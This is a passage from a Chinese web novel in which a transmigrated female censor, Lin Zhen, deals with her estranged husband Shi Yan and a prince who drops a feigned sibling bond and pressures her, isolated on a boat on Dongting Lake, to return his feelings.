在方怀简告诉他林蓁凤佩之时,他挖心掏肝般疼,这才意识到她早就静悄悄占据了心房,扎根在隐蔽角落默默滋生,与他骨血相融,他痛恨他恼怒,却不知该恨谁恼谁,直到在云娘处事情戏剧般有了转折,他的心早就飞到了潭州,飞到观云庵妹妹的野坟,直到亲手挖出妹妹遗骸,他心痛的同时也心安。 他体会过内心被甜蜜希翼浸泡,也煎熬过瞬间跌入深渊永无光明的黑暗,诸般滋味他一一品尝,他当然要做实这一切。 慢慢来罢,先是朋友再是哥哥,以后会是亲亲哥哥。 萧忱道:“唤我哥哥,便要真正当我为哥哥,哥哥自然护你遂你心愿,会让时彦很快消逝。” 应该道声谢谢,摆脱时彦是林蓁大半年心愿,可这会儿喉咙似被什么东西堵住,时彦两个字发不出声,林蓁颤着声应道:“哥哥,我知道了。” 萧忱心里闪过一丝满意,他看向云娘,问道:“云娘,你说谎,你说我们兄妹之事无人知晓,妹妹怎么以前就知道,我是她的哥哥?” 云娘扑通跪了下来,情急道:“殿下恕罪!殿下恕罪!” 萧忱心里明白几分,现下他也不在意云娘曾经的话语里孰真孰假各占几分,只关心实际结果,他在意的东西如何攫取。 他将云娘拉起来,嘱咐道:“云娘,你我什么情分?难道我会为难你,不考虑你的难处?以后不可。” 他语气淡然,语速不疾不徐,字字却似重鼓擂心,不怒自威 的气势让云娘只有俯首称是的份儿,心中再不敢生出一丝隐瞒。 萧忱将手中龙佩塞在云娘手心,温声道:“你和妹妹好久未见,不打扰你们聊贴己话,这块龙佩你让妹妹收好,别忘了我和你说过的话。” 云娘见萧忱身影消失在窗棂,才颓然坐在绣墩上,浑身失了力气。虽然和萧忱没说几句话,可精神紧绷似随时会断的弦,直到他离开,才发觉大汗淋漓,后背衣裳湿透。 萧忱办事果决的人突然改变心意认林蓁为妹妹,云娘狐疑,可临走前他叮嘱自己的话,让她如坠冰窟,就知道,他死不了心。 他曾对她晓以利害,劝她说服林蓁顺他心意,云娘回忆那些细节,摩挲着手中龙佩,流着泪道:“对不起,我没有想到他有这样的心思。我原想顺从你不做公主的心愿,也让小公主有个真正归处。” 林蓁坐在云娘身旁,握着她冰冷的手,一时不知从何说起。林蓁有太多的问题,萧忱怎么找上云娘,她怎么离开的侯府不引人注目和怀疑,自己的身世……见云娘啪啪掉泪,林蓁安慰道:“他答应认我为妹妹,事情都过去了,和你没有关系。” 云娘道:“他没有死心!” 看着手中龙佩,云娘把它递给林蓁:“你把它收好,说不定以后有大用处。”云娘想像着若萧忱哪天用强,就用这块龙佩求他,唤起他的良知。 林蓁拿起龙佩凝视良久,叹了口气终是收起了它。 云娘继续强调:“萧忱没有死心”,她嘴唇轻启,张了张口却又默然闭阖,反复几次,林蓁问:“有什么直说罢,还有更糟糕的事?” 云娘下了决心:“你现在知道了身世,萧忱说给大公子知道了么?你总说大公子心术不正,欺骗于你,可你离开皇城后,我看他天天魂不守舍,模样可怜,现在这样,他若知道了仍不改初心,你能不能和他好好过?” “你和大公子好好的夫妻俩,萧忱不可能硬来。” 林蓁陷入沉默,她不堪忍受一心逃离的婚姻竟然会成为她的保护伞?!可刚刚离开府衙时,看到时彦对自己的哑语,她确实有一瞬的心安。现在他在哪儿,在客栈外等着她吗?如果她亲口告诉他,她不过是个弃婴,他还会继续等吗? 林蓁神色黯然,云娘想安慰,可实在没什么振奋人心的高兴事儿,突然,她想到什么,对林蓁吞吞吐吐道:“你虽是个弃婴,但或许可能大概,我猜,你在这个世上还有亲人。” 和云娘说了一下午的话,萧忱陪着两人用了两顿饭,傍晚时分,林蓁乘上自己的马车,回落脚的宅院。 离开时,天空已被暮色笼罩,几颗星子在天际闪着微芒,她特意仔细看过客栈周围,并没有时彦和他长随的踪影,或许他等了大半天,打听到她无事便先行离开。情绪本就低落,谈不上失望,林蓁艰难爬上马车。 倚靠在车厢壁上,连抬眼皮都十分费劲儿,林蓁垂着眼眸看着虚空,她仿佛陷入泥沼,越爬越没有力气,越爬陷得越深,胸口被污泥死死糊住,每一口呼吸都艰难而宝贵。 她想为一番事业,想为母亲那样的女子做一些事,而还没有甩掉豺狼追袭,又遇到更为可怖虎穴,她要掉头去和豺狼达成一番协议么,可她已经没有豺狼看得上可以讲条件的筹码。 方怀简,他算不算为虎作伥?可还是自己助他走上的这条道路。 林蓁回了厢房,径直躺倒在床上,没有点灯也没有力气洗漱,睁着眼看着帐顶的云纹渐渐融入黑暗,黑到一点儿也看不清,自己仿佛身处一片虚空,只有窗棂边洒下廊檐上暗淡的灯光。 门扉吱呀响了一声。 记不清是否栓了门,林蓁抬头看向门口,一个高大身影闪了进来。 林蓁一骨碌爬坐起来,厉声问:“谁?” 走近的人影暴露出林蓁熟悉的样态,时彦道:“蓁蓁,是我。” 他疾步走到床前,坐在林蓁身边,一把将她紧紧搂进怀中,密贴着胸膛风不可透。 时彦很久没有这样放肆过,每次来找林蓁都是自带本书,老老实实坐在离林蓁很安全的距离看书。 林蓁想着应该挣扎,至少也应该骂他,可她没有力气,她孤零零躺在冰冷黑夜里,忽然跌入一个坚实温暖的怀抱,还是自己很熟悉曾经很眷念的怀抱,即便知道是豺狼的陷阱,她还是贪恋这么一刻,一点点温暖。 第97章 第 97 章 欺骗可以一笔勾销?…… 已是夏季, 两人衣衫都是最薄最柔软的丝袍,时彦搂紧林蓁在怀中,那阻隔两人的丝袍几乎可以忽略不计,他的手抚着她的蝴蝶骨, 支棱的弧度都快变成尖角, 半年来她瘦了许多, 似乎小了一号, 肩膀单薄得比纸片强不了多少,心里疼惜, 时彦忍不住收紧手臂,下颚摩挲着林蓁的乌发。 林蓁没有热气的身体沾染上时彦的体温,很快被他捂得微微出汗,她恢复了活气,在时彦怀里挣扎了一下, 语气一贯冷淡道:“放开我。这么晚你来做什么?” 时彦不放手, 来潭州月余才搂上了林蓁,难得没有触发她的脾气, 说几句淡话他根本不以为意。 他只微微松了松,让她在怀里更好透气, 答道:“客栈有萧忱眼线,这里也有, 我等天黑透了才进来。” 林蓁心里惊讶, 萧忱刚来潭州没多久, 前面日子去观云庵挖小公主的坟,为掩人耳目他和云娘都住在客栈,没有知会潭州知府,有眼线护卫安全能够理解, 自己住的宅院里全都是御史台的人,派人盯什么呢? “你确定,没弄错?” “没有,我问过知府杨大人,门外眼线两拨人,一拨是杨大人安排负责御史台人员安全,一拨是萧忱的人。” 林蓁沉默,萧忱想盯谁,总不会是自己吧,虽然云娘反复诉说,他对自己没有死心,但林蓁仍然不想把他想得太坏,他是日后大周天子,胸有乾坤,广施仁政,不至于为一个女子猥琐至此,何况小说中他作为主角,爱恨拉扯的人设极有魅力。 耳边时彦道:“萧忱特意让杨大人保障你的安全,我怀疑白莲教的人不日会闹到潭州。白莲教在衡州闹事被顺利压下去,惊动不了朝廷,不会在天子面前凸显萧忱能耐。” 细想白日在府衙时情形,林蓁有些相信时彦,她和御史台诸多同僚在潭州同进同退,正常情况不可能出什么事,若白莲教众像杨大人所说突然冲击府衙,屠戮官府的人,那乱起来谁也顾不上谁。 可方怀简临走前自信满满告诉她,最多一月左右就可以回来,难道不是一月左右就可以平息白莲教么,有方怀简帮助,萧忱做什么都比书里的进度快,林蓁向时彦说出了疑惑。 时彦白日在外奔波整日,向知府杨大人套话和自己观察,相信自己判断,但这些都没有确凿证据可以摆到明面,只对林蓁道:“小心防范为佳,萧忱未必什么都会对方怀简说。” “你最好搬到我那儿,人少遇事行动快。” 意识到他做这么多铺垫就为了这一句,林蓁猛地推开时彦,她趿着鞋走到桌边,点上火烛,室内光线明亮起来,回头再看时彦,他也起身走了过来。 林蓁冷淡道:“我不会回头。现在很晚了,你快回去。” 似乎没有入耳林蓁的话,时彦看她的眼神深邃而温柔,他走到林蓁面前,垂首看她眼中烛火,林蓁被他看得不自在,偏过头催促:“你快走!” 时彦不依不饶问:“云娘说了些什么,她为何跟随萧忱来潭州?你为什么难受?” 林蓁心头一震,自己睡觉没盖被衾被他察觉,还是没有骂他没有捶他任他抱着自己,所以他瞧出了端倪? 想到云娘苦口婆心劝自己吃时彦的回头草,林蓁烦躁道:“和你没关系。你最好写放妻书给我,我不想侯爷在皇城遇到什么,有什么三长两短。” 毅勇侯救过自己,林蓁不希望他出什么事 。府衙里萧忱威胁之语林蓁时彦听得明白,林蓁不认为仅仅威胁而已,小说中萧忱借刀杀人的情节很多,现在毅勇侯和两位皇子的争斗极可能两败俱伤,萧忱回去后渔翁得利,时彦也知道剧情,早点回去早做针对。 时彦走近一步,几乎贴在林蓁身上,垂首微微侧脸对上林蓁目光:“他真想娶你?他不是你哥哥?” “你乱说些什么!”被时彦猜到真相,林蓁的心突突地跳,她快步走开,距离时彦好几步远才转身,指尖向着门大声道:“我不想看到你,你快走!” 手臂直直伸向门扉,脸颊变得微红,气息也粗重起来,时彦看着林蓁突然间变化,和以前生气截然不同,她理直气壮时会断然否定,直面冲突,严重气极时直接上手,虽然力道像给自己舒活筋骨,而不是这样闪躲回避,走开老远说话,他知道了答案。 而且萧忱在府衙说,和林蓁是未婚夫妻,这根本不是正常兄妹关系中胞兄该说的话,骗人也不会说这样的谎言,真是林蓁哥哥也不需要骗人,皇子身份王爷头衔就可以死死压住任何人。 猜中了答案,但时彦想不通其中关窍,明明有凤佩,血缘关系怎么会消失?他径直走到林蓁面前,伸手握住林蓁指向门扉的手,将手拉到自己胸口,让林蓁感受自己的心跳。 “你想嫁他?” 林蓁睁圆了眼瞪他:“他是我哥哥!” 她极力想凶他,可她的声音低低的,飘飘忽忽没有一点儿底气,不像以前动不动危言耸听让萧忱揍他,让萧忱取他性命。时彦知道,自己没有猜错,他以前就怀疑过萧忱约她送她礼物别有目的,可基于小说设定,他排除自己匪夷所思设想。 时彦眼中,林蓁表情生动可爱,虽对自己没什么好话,可心里软得不行,爱得心疼,他也庆幸和林蓁之间有了转机,萧忱不是她的哥哥,那她总不会再想自己对她心思不纯别有所图。 他按住她的手,不让她抽离胸口:“蓁蓁,他不是你的哥哥,我竟然高兴,你摸我的心,兴奋得快跳出来。” 林蓁眼泪在眼眶边盈盈欲坠,他高兴什么,她是个孤儿,没人要的弃儿,所以萧忱才有霸占她的心思。 她拼尽力气考上女御史,可到头来发现,连自保都难于做到,想离开时彦时,她想到的是让“哥哥”萧忱逼迫时彦放手,想躲开萧忱时,云娘绞尽脑汁为她想的最佳计策为重回时彦怀抱。 脑海里浮现孟家村里方怀简看向自己时笑意盈盈的面庞,那才是她曾经真心所爱,现下仍恋恋不忘的脸,可萧忱自负自信的话紧接着回响在耳畔:水性杨花,心猿意马,难堪重任。 即便和方怀简重新开始,这几个词就是她额间的烙印,就像墨刑,伴随终身永无消除。 眼前时彦眉梢间带着喜色,眼眸中被自己身影占据满满,他胸腔砰砰跳动像一面小鼓击打林蓁的掌心,可他神情越欢喜,胸腔跳动越激烈,林蓁内心越心酸难过。 眼泪终于溃堤,一滴滴从脸颊滚落,林蓁道:“他不是我哥哥,你的欺骗就可以一笔勾销?” 第98章 第 98 章 今晚月色很美 饶是猜到萧忱与林蓁没有血缘关系, 林蓁的反应仍是出乎时彦意料。一直以来她没有表现出对权势对公主位置的渴求,对萧忱这个天降的“哥哥”也没主动接触,没有关系的两人不至于没有血缘关系就伤心至此,时彦心下怀疑, 他攥着林蓁的手不放, 目光紧紧拢住她:“他不是你哥哥, 他欺负你了?” 林蓁愤怒地挥手, 想挣开时彦的束缚:“你放开我!你滚!你让我静静!” “告诉我发生了什么我就走。” 他的目光不容置疑,大有林蓁不开口就赖在这儿的无赖模样, 林蓁的手腕徒劳地扑棱几下,终于任命地随他扣住自己的脉搏。 “我是个没人要的弃婴!能做英国公府庶女就是我这辈子最大的福气!萧忱脑袋被驴踢了,让我跟他!这一切都是因为你,没有你最初来算计我,这些破事根本不会发生!” “你还缠着我做什么?!你再不滚回皇城, 侯爷就要没命了!你的万人之上权贵显赫得凭你自己本事了!别来烦我!” 林蓁眼眸里的火快喷到时彦面颊, 她额角青筋跳动,猛地抬腿, 狠狠朝时彦踹去:“你都知道了,别打我主意了, 可以滚了!” 时彦任由那一脚朝自己袭来,趁林蓁踢踹, 他倏地拉紧她的手, 林蓁重心不稳倒向时彦, 被他牢牢抱住。 “你听不懂我的话吗?你的计划彻底完蛋,你千算万算没算到我是个被捡来的,小说都不敢这么写!它就神奇地发生了!” 林蓁挣脱不开,忽然哈哈一笑:“你抱着我做什么, 害怕我失心疯?我没有,我看你处心积虑却求而不得,高兴得很呢!” 怀中的人眼里冒火,身体也似火炉般烫人,时彦沉默着,突的低下头吻林蓁面颊,林蓁偏着头想躲开,可被他禁锢着方寸都难挪动,林蓁骂道:“死骗子,不是说知道了就滚吗?” “我们成亲时,我说过,不论发生什么,我也不会离开你,你忘了吗?”时彦边吻林蓁边说,“不论你是弃儿乞儿还是什么,你都是我的妻子我的爱人,我永远在你身边。既然萧忱不是你哥哥,我再做什么,希望你看到我的真心。” 时彦声音低沉,带着一丝哀求的温柔:“蓁蓁,过去我错了,现在我图谋的只有你。一切都是我引起的,那让我来收拾。” 他在林蓁脸颊上又亲又啜,林蓁烦躁得扭过脸,让他只能吻自己的头发,林蓁恼道:“你来收拾,你怎么收拾?你打得过小小的都统时隽,还是官大压得过萧忱,还是你暗自训练出自己的队伍?” “我能逆天改命,现在活得好好的,怎么就不能改别的?时姝都没了皇后命,他萧忱就一定是真龙?他不打你的主意也就罢了,他对你有心思,自然视我为空气,在我眼里就没有什么惠王,只有一个该死的人!” 林蓁身体一僵,缓缓转过头,目光直直看向时彦,他眼中有一弯清澈见底汩汩流淌的清泉,澄澈坦荡,执着奔涌,永不止歇。他的眼神惯有迷惑性,但此刻林蓁相信,他说的确是内心所想。 尽管都有着上一世灵魂,内心实质上没有对君王谋逆不敬的概念,但听到时彦说杀人,林蓁仍然很震惊,萧忱是“母亲“的血脉,她从来没想过伤害他,甚至知道没有血缘关系,仍然想报答他偿还“母亲”的养育之恩。 时彦看出了她的想法,他不屑道:“我不过直白说了出来,萧忱方怀简没有当你的面说,但未必就没有杀我之心!” “不会的,世之不会的!”林蓁坚决否认。 “我们可不在法治社会,现在萧忱夺权路上,人挡杀人佛挡杀佛,就算他对你没有觊觎之心,可我爹不和他一个阵营,走到最后他仍然会对我爹动手,有没有生路全凭他心情。” “小弟只考了贡士,你不觉得奇怪吗?现在看来,应该是他早知你的身份,做了些手脚。白莲教闹事,死多少无辜之人。他威胁我爹性命,你也听到了。这里哪一个不无辜,多少人没有触犯他的利益,可他要走上权力之巅,就得踏上人骨做的铺路石。方怀简作为他的得力干将,又怎可能抽离其中。” 林蓁喉咙干涩,发不出声,这些道理她都明白,只是从来不愿深想,好像不去想就不会发生,方怀简就永远和以前一样,笑意盈盈的老好人。 “萧忱迟早会动手,我们只有干。” 时彦语气干脆利落,林蓁不禁想起萧忱提起毅勇侯时世诚在皇城有危难时他的表情,那时他神态淡然,似乎不以为意,原来他早有筹谋,已做好安排? “你已有准备?” 时彦没有回答,但林蓁已从他眼神找到了答案,林蓁问:“你这是要帮我?” “你是我的爱人,帮你就是帮我自己。” 林蓁早没有把时彦看作自己爱人的心态,可听到他这句话,心里难过又有些许安慰。在云娘为自己着急时,林蓁尽力抚慰可心里亦惶惶,这会儿即便时彦只是画饼,也让惶惶不安的心不再悬浮有了实处的感觉。 “你,你先回去,有事儿我派人叫你。” 一直对自己爱答不理的人终于松口,会主动找自己,时彦在林蓁沉郁的脸上重重亲了一口才松开她:“那你早点休息。万事有我,有事就去叫我。” “你愿意过去住,我就来接你,你单独一个房间。” 与此同时,百福庭天字号房,云娘正不厌其烦反复劝说萧忱。 “林蓁别说她本是个来路不明的弃儿,就算正经英国公府的姑娘,可一个庶女,还是嫁过人的,出嫁前名声也不好,这样的女子无论如何都配不上殿下,便是玩玩都污了殿下身份——” 萧忱不悦地打断云娘,质问道:“我想遂母亲的遗愿,云娘觉得不对?你到底是担心她污了我,还是我污了她?” “奴婢不敢,奴婢不敢。” “此事不要再提。她亲口所言,愿意以妹妹身份侍奉我左右,永不再嫁。云娘没有听到?我并未逼迫她如此 。” 云娘嘴唇开了又合,合了又开,终是鼓足勇气道:“当初殿下答应,我向林蓁提及殿下心意,她若拒绝,殿下就当此事从未发生,所以殿下——” “现在难道不是回归本原,她认我为兄长,我护她平安”,萧忱眉头微拧,“难道我装作不认识她,任凭时彦欺负她,你觉得这样才可?” “奴婢不是这个意思。” “我就当你多想,杞人忧天”,萧忱语气低沉生硬,脸色已是不虞,云娘不敢再提林蓁,唯恐冰盖下的火山直冲云霄。 她等了等,见萧忱脸色略略缓和,询问道:“奴婢能为殿下做的事都已了结,再待在殿下身边只是累赘,奴婢想禀告殿下,若殿下没什么其他事吩咐奴婢,奴婢这就告辞。” 萧忱知道云娘是自由身,自己拿着身契才能找到借口顺利离开毅勇侯府,她知道自己母亲身世,这种时候她不可脱离自己视线,萧忱道:“你为我母亲忠仆,为我妹妹毅然离开毅勇侯府安逸日子奔波此地,现在事情虽然了结,我怎可以弃你不顾?母亲在天之灵知道,也要怪我怨我。” 云娘推脱,然她言语和气势上哪里是萧忱对手,一番对话下来,云娘答应带萧忱走走看看潭州山水,去走一走母亲曾经走过的路。 七月悄然而至,暑气蒸腾,蝉声聒噪,四处都是刺眼的亮。 衡州白莲教闹事没有如方怀简所说,月余就会平息,相反渐有失控扩大趋势,方怀简托人给林蓁带了封信,大意一切都在掌控之中,但时间尚难准确预料,嘱托林蓁保重。林蓁本想直白回信,告诉方怀简他走后潭州发生的一切,然而看看站在廊下等着取走回信的衙役,林蓁没有把握信笺会不经旁人径直送到方怀简手中,落笔的内容最终也和方怀简的信一样,简单说了说公事,问一声平安。 梅棠带领御史台众人去乡县走访的计划暂时搁置,众人在潭州无所事事,萧忱向林蓁发来邀约,云娘带领兄妹俩走走看看母亲曾经去过的地方,邀约信笺写得诚挚感人,林蓁找不出理由拒绝,不去一趟便是辜负了云娘柔软真挚的情意,是推开刚刚建立的兄妹之谊,更是不敬天上的母亲。 林蓁向梅棠告了假,知会了时彦,被他一顿温暖而繁杂的叮咛涨昏了头,怀着惴惴不安的心和云娘萧忱向北而上。 林蓁“外祖父”孟秀才跟随地方官做幕僚时,在湘阴县、汨罗县都呆过好几年,这些地方是“母亲”孟惠君成长之地,也是云娘跟随小姐最无忧无虑的一段时光,三人重返旧地感慨良多,准备返程时,因离洞庭湖很近,萧忱提议见识一番“气蒸云梦泽,波撼岳阳城”,三人便顺道继续北上。 林蓁以为三人乘坐一只小船,在洞庭湖上游曳半天,到了码头才知道萧忱准备了一只巨大画舫,三层高的船身让船只像仙山而来的缥缈阁,船首雕刻着气宇轩昂的硕大龙头,尽显皇家威仪。 三人到画舫顶层远眺,洞庭湖水浩浩荡荡,水天一色,浩渺无垠,确实美不胜收。 萧忱道:“难得来此,既然来了,至少要赏湖中月影,看水映朝阳。” 林蓁和云娘默默对视一眼,知道要在船上至少呆上一晚,一路两人相伴平安无事,这最后湖上的行程,萧忱不至于?沿途他都是极好兄长。 七月上旬的洞庭湖月夜,淡淡月光倾洒在湖面,似一层妙曼轻纱笼着人的视野,湖风微凉,一点儿没有陆地上的闷重热气,天上星子倒映在湖水中,迷离梦幻。 如果没有杂念,林蓁觉得,这是一个美丽宁静的月夜。 萧忱站在船头,望着湖面上细碎银辉感慨:“曾经我以为再找不到母亲和妹妹,在这个世上,孤身唯我一人,上天怜我,虽然不能再见母亲和妹妹,但知道了她们的下落,身边第一次有真正关心爱护我的人陪伴,已很是完满,我很知足。” 湖风吹动着他的衣袂,他的声音平静而满足,林蓁注视着萧忱,恰巧他转过了视线看向林蓁,眼中光泽就像湖中细碎的星子,黑暗中亮而闪,端肃神情消逝不见,淡淡月光和微风带给他别样的温柔。 林蓁想移开目光,萧忱适时问她:“妹妹,你说过愿意陪伴我左右,永不再嫁,可是真心?” 林蓁回想说这番话时情形,她不想和时彦破镜重圆,和方怀简虽有情愫,但萧忱所说“水性杨花,心猿意马,难堪重任”确实是和方怀简走到一起后,多数人会对自己产生的想法,如此一想难免心灰意冷,她的心态不再是第一次见方怀简时不管不顾的情痴女子,两个男子曾经对自己的所作所为,她没有什么放不下魂牵梦绕到夜不能寐,虽然偶尔他俩会到自己梦中来。 如果萧忱确实把自己看作妹妹,自己像梅棠一样为官一生,辅佐萧忱再不嫁人,也是美好人生,林蓁默了片刻,启口欲回答时,手心忽的被人一按。 林蓁知道是云娘,在萧忱不在的场合,她总是各种提醒自己,她是让自己否认吗?可这的确是自己说过的话,再不嫁人也没有什么心不甘情不愿或者遗憾满怀,如果只是做萧忱的妹妹。 或许还可以在萧忱与毅勇侯之间化干戈为玉帛。 林蓁迎着萧忱目光,声音轻柔却清晰异常:“我愿意陪伴哥哥,再不嫁人,句句真心。” 她的眼眸似最亮的星,语气温柔坚定,萧忱看到了她内心所有情感,听到了世上最好听的声音,她有对他真挚毫无保留的爱,不管什么爱,他只需要知道那是爱,就心满意足。 心中似忽的被温泉包裹,软软柔柔温温馨甜,萧忱嘴角压不住笑意,发自心底的喜悦几乎让他冲动得想搂她入怀,他不动声色握紧了拳,生生压制住心底情。欲激动,只凝视着林蓁,眉梢嘴角全是笑意:“今晚月色很美,哥哥很高兴。” 林蓁的心咯噔一下,悸动一闪而过,这句话在另外一个时空人人都知晓其暗喻,可萧忱不是穿越者,他就是单纯这样想吧? 上弦月一弯细长的银钩钩开了湖面上朦胧轻纱,船头破开水面,跳动星子向萧忱身后流逝,他在一幅流动静谧的画卷里,恬淡美好。 “美得像画”,林蓁恬笑回应,“哥哥是画中仙,公子只应见画,此中我独知津。”1 第99章 第 99 章 你给的起 因要看湖中日出, 林蓁起得极早,窗棂外淡蓝颜色,一切都还在沉睡,她收拾妥当推开门, 意外萧忱比她更早, 他背对着她站在船舷边, 看湖上水鸟滑过水面, 划破寂静。 听到身后动静,萧忱转过身, 对上林蓁目光,嘴角现出浅浅笑意:“这么早,怕你起不来,还想着过会儿叫你。” 林蓁心跳微乱,轻声回应:“说好的事情, 定不会耽误, 而且我也极想看。” “好”,萧忱做出请的姿态, “我们往这边走。” 东边天空已现出鱼肚白,林蓁跟了两步, 环顾四周,船上安安静静, 似乎只有两人, 心下怪异, 林蓁问:“云娘呢,我去叫她。” 萧忱回头:“昨夜云娘闹肚子,折腾得很晚,今早不和我们一起。” 他神色自若, 语气不疾不徐,毫无刻意掩饰的动作和痕迹,似乎没有说谎,可林蓁心里一惊,追问道:“闹肚子?我怎么不 知道?我现在去看看她。” “她不舒服,丫鬟自然先来找我,吃过药已经躺下了”,萧忱温声劝道,“你现在去打扰她休息,不如等日出后再说。” 他说得没有一丝错处,林蓁的怀疑都被他周全无缺的补上,可林蓁心中隐隐不安却凝结成实质,一块巨大石头压在心头,有些喘不上气。 林蓁站在原地不动,呆呆看着萧忱,萧忱回转身,伸手就要攥她的手腕。 猛的将双手交握于胸前,林蓁道:“那我们先去看日出,等会儿一起去看云娘。” 萧忱收回自己悬在空中的手,颔首道:“好。” 晨曦初露,鱼肚白的天际不知不觉变幻出浅粉橙红金色耀眼的光芒,朝阳一跃而起,金光刺得人睁不开眼睛,半边天空和湖水都被染成粉色金色,湖光日色交融,希望与热烈都随朝阳冉冉升起。 朝阳中的两人都被镀上了一层金光。 萧忱柔柔看向林蓁,湖中日出极美,那是因为和她一起迎接它。 林蓁虽侧脸对着萧忱,但也感知到他的目光热烈大胆,像眼前初升的朝阳,炽热耀眼得无法忽视难于面对。 远处水鸟在水面上划出几道优雅的弧线,在朝晖与水波之间飞舞,像洞庭湖的精灵,唤醒湖中万物,林蓁状若无意微微偏头,把视线转向水鸟。 “就这般陪着我,暮赏星月,朝迎曦光,赏尽人间美景,林蓁,昨夜之言,心意不改?” 林蓁不得不回头,对上萧忱目光,他淬火的目光意味深长。 林蓁想了几息,着重强调道:“只要哥哥需要,我愿陪着哥哥,守护母亲赋予的这份亲情,虽无血缘,但我眼里,哥哥就是骨肉至亲。” “好”,萧忱拍手,“哥哥铭刻于心,你真心愿陪伴我。” 他说话语速向来不急不缓,刻意放慢后更是耐人寻味,不过此刻湖面天光大亮,林蓁不愿纠缠其语中隐晦,着急道:“我们去看看云娘罢?” “不急”,萧忱从袖中掏出一封信笺,递给林蓁,“这是林若柏给你的信,送到府衙时恰好被我属下知晓,送了过来。” 离开皇城到现在已近半年,这是林若柏给自己的第一封信,林蓁拆开信笺细瞧,倒抽了口凉气。 父亲林若柏乘车出了意外摔断了腿,严重到无法下床,已辞了官职在家静养,妹妹林葳本该今年出嫁,却被突然退婚,家中诸人为她亲事着急上火,英国公府诸事不顺,林若柏在信中着重提醒林蓁,在外诸事小心,为官谦逊勿要得罪人。 萧忱似笑非笑看着林蓁。 林蓁扬起手中的信笺,不悦道:“你看过我的信?” “妹妹这样看我?”萧忱拧眉,“我不需要看信。” “你真心陪伴我,我怎会不投桃报李,那些欺辱你看你笑话之人,哥哥都会帮你讨回公道。” “加倍。” “都是你做的?”林蓁为林葳惋惜,她的夫家是户部侍郎,是嫡母陈氏非常满意更得意的一门好亲,退婚后再找同样的人家几乎不可能,信中未说因何退亲,想来不是什么光彩之事,不然英国公府不会应下。 “若不是托你的福,不想你丁忧去职,林若柏可不会舒舒服服躺倒在家”,见林蓁眉头紧锁,萧忱脸色有些暗色:“你不高兴?难道他们没有欺压过你?” 林蓁缓了缓脸色,答道:“不是,我只是很意外,我现在过得好,凡事有哥哥照拂,心里敞亮得跟住进了小太阳似的,看什么都愉悦,过去诸事都不以为意。” 萧忱面上暗影随着她的言语渐渐散去。 “它们在我心里已经无足轻重,哥哥还为我大费周章去折腾,我想,哥哥应该把更多精力放在国是民生,这也是我为女官初衷。” 萧忱轻笑一声:“是真不想麻烦我么?我萧忱从来恩怨分明,睚眦必报,欺辱你的我一个都不会放过。” “时彦天天去你的住处缠你骚扰你,我早看他不顺眼,现在你在这儿,等哥哥帮你处理好,你开开心心回去。” 他做事狠辣,林蓁揣摩着“处理”的含义,赶忙向萧忱表明想法:“我,我只是想和离,没有别的意思。” “当然会助妹妹达成所愿,就在潭州。” 林蓁注视着萧忱,最近他不再是素来端肃的表情,可他温润差了点,漠然少了些,似乎有些火气,但总是恰到好处隐忍,林蓁捉摸不定他的心思。 忽然意识到他话里的问题,林蓁问:“我们今天回岸上吧,我们出来已经许久,回去晚了梅大人责怪。” “梅大人没空管你,白莲教闹事蔓延到潭州下面县乡,梅大人已随知府杨大人去县乡查看。” “那我们更要赶紧回去,出了这么大事,我们怎能在这里游玩?”离开潭州周余,白莲教闹这么大,林蓁第一次听说,既担心方怀简会失控遭到反噬,也担心时彦在潭州出什么意外。 “白莲教的事一时半会儿了结不了,你在这里最安全,没有任何人打扰你,你可以好好想一想该怎么做,我等你的消息。” “等我的消息?”林蓁看向萧忱目光发颤,“没有人打扰?云娘呢?” “云娘鬼鬼祟祟总在你面前搬弄是非”,萧忱挑眉,嘴角微抿,脸色淡了下来,“昨夜她病了,为防过了健康之人,我已送她上岸,给她找了一处僻静之处养病。” “过去我助你圆梦考上女官,伤害你之人一一得到他们该有的回报,今后我继续支持你展志扬才,你不该好好想想,怎么回报于我,让哥哥切身感受到你的真心实意么?” 萧忱向林蓁伸手,似乎想牵住她的手。 林蓁早有防备,连退两步躲开,脸色也倏忽间变得煞白:“你,云娘说的没错,你要我做你的禁脔!” “林蓁,你一点儿不了解哥哥!”萧忱收回了手,抱臂于胸前,凝视着林蓁。 那目光像毒蛇吐信,下一瞬就要猛然出击,林蓁颤栗着,内心不停给自己鼓劲,暗暗观察周围,周围一个人影没有,实在不行可以跳船,自己水性可以,至少可以在水里躲一阵。 “我费这么多功夫,让你得偿所愿穿上女官制袍,正大光明走进御史台,意气风发来到潭州,为的是将你拘囿在一个小空间,做我的禁脔? 你太小瞧哥哥,所有跟随我的人都是主动投奔,对我都是一心一意,都是看重我的尊贤重才,雄心壮志,率身以行,我从来要的是真心。 我问过你多次,我信你的真心,但这真心还不够,远远不够,你乖巧聪慧,知道哥哥想要什么,你好好想想,在这条船上好好想想,你给的起。 以后哥哥成就大业,天高任你飞,海阔任你跃,哥哥唯要你一颗心。你会明白,哥哥很值得,比你过去经历的那些烂人好上千倍万倍!” 第100章 第 100 章 她的命,自己决定…… 晨雾散尽, 洞庭湖面金光粼粼,湖风吹动着萧忱的乌发,他侧身立在船头,一手负于身后, 一手轻抚船舷, 眼里映着初升的朝阳, 唇角微扬, 浩渺湖天,尽在他的掌握之中。 若唤醒八百里洞庭的蛟龙, 他天生便是立于众生之上的人,如果没有他方才一番话,林蓁实在愿意相信,天地万物,皆是他脚下的波涛, 任他驱使。 可他笃定凌然眼神, 说着尊贤重才的话,不愿林蓁做什么禁脔, 但在林蓁看来,自己大概是合他眼缘的一只橘猫或者博美犬, 主人宠爱自己,任自己肆意妄为, 但归根结底仍是一只宠物, 不能离开主人视线, 就像一只风筝,似乎飞得极高,比飞鸟更能俯冲、翻转,可永远无法决定自己的航程。 自己全然在他的目光里, 如落入漩涡的娇花,可以选择扒拉两下,但还是挣脱不过那股暗流。 可为什么啊,为什么摆脱一个男人,就要落入到另外一个男人编织的蛛网,明明被密密麻麻包裹得透不过气,还美名其曰心随天阔任驰骋。 林蓁不甘心,她默默盯看萧忱的脸,从眉峰到眉梢,顺着高挺的鼻梁,落在柳叶唇上,她想读出一点儿兄妹情谊,分明以前有过,深沉的关切与温暖,可这会儿这张脸上,再无一丝这样的痕迹。 林蓁抿紧了唇,良久,她问萧忱:“我唤殿下哥哥,便是将殿下当作哥哥,我们回不去过去兄妹情谊?” 萧忱淡笑:“我们,何曾有过?” 林蓁的唇咬得发白:“我不愿意呢?” “不愿意,很正常”,萧忱那抹浅笑仍停滞在他的脸上,大概因他不常笑的缘故,林蓁看着他像戴着假面,还不如冷肃面容更像个真人。 